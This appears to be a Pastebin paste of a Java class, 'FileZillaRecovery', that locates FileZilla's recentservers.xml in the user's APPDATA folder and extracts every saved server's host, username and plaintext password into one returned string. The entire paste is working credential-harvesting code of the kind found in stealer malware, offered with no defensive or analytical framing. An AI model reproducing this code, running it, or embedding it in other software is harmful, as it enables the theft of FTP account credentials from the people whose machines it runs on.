Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.File;
- import java.io.FileNotFoundException;
- import java.io.FileReader;
- import java.io.BufferedReader;
- import java.io.IOException;
- public class FileZillaRecovery {
- public static String FileZilla() throws IOException
- {
- File sFile = null;
- FileReader Fr = null;
- BufferedReader Br = null;
- int i;
- String sName;
- String sHost;
- String sUser;
- String sPass;
- String sAccount;
- String sFileXML;
- String sF_Account;
- String[] sArrAccount;
- sHost = "";
- sUser = "";
- sPass = "";
- sAccount = "";
- sF_Account = "";
- sName = System.getenv("APPDATA") + "\\FileZilla\\recentservers.xml";
- sFile = new File(sName);
- try
- {
- Fr = new FileReader(sFile);
- Br = new BufferedReader(Fr);
- while ((sFileXML = Br.readLine())!=null)
- {
- sAccount = sAccount + sFileXML + "\n";
- }
- } catch (FileNotFoundException ex)
- {
- System.out.println("No se pudo recuperar!");
- return sF_Account;
- }
- if (sAccount.indexOf("<RecentServers>")!=-1)
- {
- sAccount = TextCenter(sAccount,"<RecentServers>","</RecentServers>");
- sArrAccount = sAccount.split("<Server>");
- for (i=1;i<sArrAccount.length;i++)
- {
- sHost = TextCenter(sArrAccount[i],"<Host>","</Host>");
- sUser = TextCenter(sArrAccount[i],"<User>","</User>");
- sPass = TextCenter(sArrAccount[i],"<Pass>","</Pass>");
- sF_Account = sF_Account +
- "Host: " + sHost + "\n" +
- "User: " + sUser + "\n" +
- "Pass: " + sPass + "\n\n";
- }
- return sF_Account;
- }
- else
- {
- System.out.println("No se pudo recuperar!");
- return sF_Account;
- }
- }
- private static String TextCenter(String sTexto,String sDel1,String sDel2)
- {
- sTexto = sTexto.substring(sTexto.indexOf(sDel1)+sDel1.length(),sTexto.indexOf(sDel2));
- return sTexto;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment